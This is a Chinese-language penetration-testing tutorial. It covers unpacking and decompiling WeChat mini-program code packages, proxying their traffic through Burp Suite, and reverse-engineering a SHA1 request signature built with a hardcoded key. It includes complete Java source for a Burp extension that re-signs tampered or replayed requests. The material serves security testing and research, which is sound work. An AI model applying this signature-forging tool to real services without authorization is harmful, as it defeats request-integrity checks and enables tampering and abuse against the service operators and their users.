初探小程序渗透--Sign 签名破解
字数 1953 2025-08-23 18:31:09
小程序渗透测试:Sign签名破解与BurpSuite插件开发
1. 小程序代码包获取与处理
1.1 获取小程序代码包路径
PC端微信小程序的代码包存储路径:
C:\Users\[用户名]\Documents\WeChat Files\Applet\
- 每个以
wx为前缀的文件夹对应不同的小程序 - 主包文件名为
__APP__.wxapkg - 可能还存在其他
.wxapkg文件(分包)
1.2 识别加密的代码包
- 加密包特征:文件头以
V1MMWX开头 - 未加密包特征:
- 第一个字节为
BE - 第十四个字节为
ED - 可见类似文件路径的明文
- 第一个字节为
1.3 解密代码包
使用工具:UnpackMiniApp.exe
- 直接对
.wxapkg文件执行解密 - 无论是否加密都会给出相应提示
- 解密成功后会生成解密后的代码包文件
1.4 反编译代码包
使用工具:wxappUnpacker中的bingo.bat
执行命令:
bingo.bat [解密后的wxapkg文件路径]
反编译结果:
- 在同目录下生成与wxapkg文件同名的文件夹
- 包含小程序的原始代码文件和资源文件
2. 小程序抓包技术
2.1 抓包方案
使用Proxifier + BurpSuite组合:
-
BurpSuite设置:
- 开启代理,监听
127.0.0.1:8080
- 开启代理,监听
-
Proxifier设置:
- 代理服务器:HTTPS
127.0.0.1:8080 - 代理规则:
- 将
WeChatAppEx.exe的所有流量发送到BurpSuite代理 - 其他规则设置为
Direct
- 将
- 代理服务器:HTTPS
2.2 关键点
WeChatAppEx.exe是微信小程序客户端程序- 所有通过该程序打开的小程序流量都会经过代理
3. Sign签名机制分析
3.1 签名参数识别
常见签名相关参数:
timestamp:时间戳nonce/noncestr:随机数sign:签名值
3.2 签名生成流程分析
从反编译代码中找到的签名函数:
sign = exports.sign = function() {
var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {},
t = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : _appSignKey,
n = (arguments.length > 2 && void 0 !== arguments[2] && arguments[2], Object.assign({}, e)),
r = {
appSignKey: t
};
n.timestamp = 1e3 * Math.floor(Date.now() / 6e4) * 60,
n.noncestr = randomWords(8, "number");
var a = Object.keys(n).filter(function(e) {
return void 0 !== n[e] && "" !== n[e] || (delete n[e], !1);
}).concat("appSignKey").sort().map(function(e) {
return e + "=" + (r[e] || (void 0 === n[e] ? "" : n[e]));
}).join("&");
return n.sign = (0, _sha2.default)(a),
n;
};
3.3 签名生成步骤详解
-
参数准备:
- 获取所有请求参数(排除
sign) - 添加
timestamp(当前时间戳) - 添加
noncestr(8位随机数字) - 添加
appSignKey(固定密钥,从小程序代码中获取)
- 获取所有请求参数(排除
-
参数处理:
- 过滤掉值为
undefined或空字符串的参数 - 添加
appSignKey到参数列表 - 对所有参数按键名升序排序
- 过滤掉值为
-
字符串构造:
- 格式:
key1=value1&key2=value2... - 示例:
appSignKey=xxx&categoryId=0&noncestr=38551338×tamp=1707845023004
- 格式:
-
哈希计算:
- 对构造的字符串进行SHA1哈希计算
- 结果作为
sign参数值
4. BurpSuite插件开发
4.1 开发环境准备
-
导出BurpSuite API:
- 通过BurpSuite的
Extender->APIs->Save interface files导出
- 通过BurpSuite的
-
项目结构:
- 创建Java项目
- 将导出的API文件放在
burp包下
4.2 插件框架
基本类结构:
package burp;
public class BurpExtender implements IBurpExtender, IHttpListener {
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
// 初始化代码
}
@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
// 处理HTTP消息
}
}
4.3 插件初始化
private IExtensionHelpers helpers;
private IBurpExtenderCallbacks callbacks;
private PrintWriter stdout;
private PrintWriter stderr;
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
this.callbacks = callbacks;
helpers = callbacks.getHelpers();
stdout = new PrintWriter(callbacks.getStdout(), true);
stderr = new PrintWriter(callbacks.getStderr(), true);
callbacks.setExtensionName("AutoSign");
callbacks.registerHttpListener(this);
stdout.println("burpsuite extender AutoSign is loaded.");
}
4.4 签名篡改实现
@Override
public synchronized void processHttpMessage(int toolFlag, boolean messageIsRequest,
IHttpRequestResponse messageInfo) {
if (messageIsRequest && ((toolFlag & IBurpExtenderCallbacks.TOOL_REPEATER) != 0 ||
(toolFlag & IBurpExtenderCallbacks.TOOL_INTRUDER) != 0 ||
(toolFlag & IBurpExtenderCallbacks.TOOL_PROXY) != 0)) {
// 获取请求和参数
byte[] request = messageInfo.getRequest();
IRequestInfo requestInfo = helpers.analyzeRequest(request);
List<IParameter> parameters = requestInfo.getParameters();
// 移除所有参数
parameters.forEach(iParameter -> {
request = helpers.removeParameter(request, iParameter);
});
// 移除sign和timestamp参数
parameters.removeIf(iParameter -> {
return (iParameter.getName().equals("sign")) ||
(iParameter.getName().equals("timestamp"));
});
// 添加appSignKey和新的timestamp
IParameter appSignKey = helpers.buildParameter("appSignKey", APP_SIGN_KEY, IParameter.PARAM_URL);
parameters.add(appSignKey);
IParameter timestamp = helpers.buildParameter("timestamp", "" + System.currentTimeMillis(), IParameter.PARAM_URL);
parameters.add(timestamp);
// 参数排序
parameters.sort((o1, o2) -> o1.getName().compareTo(o2.getName()));
// 构造签名字符串
StringBuilder queryString = new StringBuilder();
parameters.forEach(iParameter -> {
try {
queryString.append(iParameter.getName() + "=" +
URLDecoder.decode(iParameter.getValue(), "UTF-8") + "&");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
});
String unSignedData = queryString.substring(0, queryString.length() - 1);
// 计算SHA1签名
IParameter sign = helpers.buildParameter("sign", sha1(unSignedData), IParameter.PARAM_URL);
parameters.add(sign);
// 重新添加参数(排除appSignKey)
parameters.forEach(iParameter -> {
if (!iParameter.getName().equals("appSignKey"))
request = helpers.addParameter(request, iParameter);
});
// 更新请求
messageInfo.setRequest(request);
}
}
4.5 SHA1计算函数
private String sha1(String input) {
try {
MessageDigest messageDigest = MessageDigest.getInstance("SHA-1");
byte[] hash = messageDigest.digest(input.getBytes());
StringBuilder hex = new StringBuilder();
for (byte b : hash) {
hex.append(String.format("%02x", b));
}
return hex.toString();
} catch (Exception e) {
stderr.println(e.getMessage());
}
return null;
}
5. 关键问题与解决方案
5.1 多线程问题
- 问题表现:在Intruder模块多线程发送请求时,参数可能混乱
- 解决方案:给
processHttpMessage方法添加synchronized关键字
5.2 相同时间戳问题
- 问题表现:相同时间戳的请求会返回"签名已失效"
- 解决方案:
- 在Intruder中设置请求间隔
- 确保每个请求的
timestamp不同
5.3 其他注意事项
appSignKey需要从小程序代码中获取- 参数排序必须严格按照字母升序
- 空值和
undefined值需要过滤掉 - 字符串构造时注意URL编码
6. 测试与验证
-
插件加载:
- 通过BurpSuite的
Extender->Add加载生成的jar包 - 检查控制台输出确认加载成功
- 通过BurpSuite的
-
Repeater测试:
- 不加载插件时重发请求应返回"签名已失效"
- 加载插件后重发请求应返回正常业务数据
-
日志查看:
- 通过
Logger模块查看篡改后的sign和timestamp参数
- 通过
7. 替代方案
- 使用
Burpy插件(支持Python编写插件) - 其他签名破解工具如
Xposed模块
8. 总结
本教学详细介绍了小程序渗透测试中Sign签名破解的全过程,包括:
- 小程序代码包的获取、解密和反编译
- 抓包技术的实现
- 签名机制的分析与逆向
- BurpSuite插件的开发与实现
- 常见问题的解决方案
通过这套方法,可以有效地破解小程序的安全签名机制,实现请求参数的篡改和重放。这种方法不仅适用于渗透测试,也可用于安全研究和漏洞挖掘。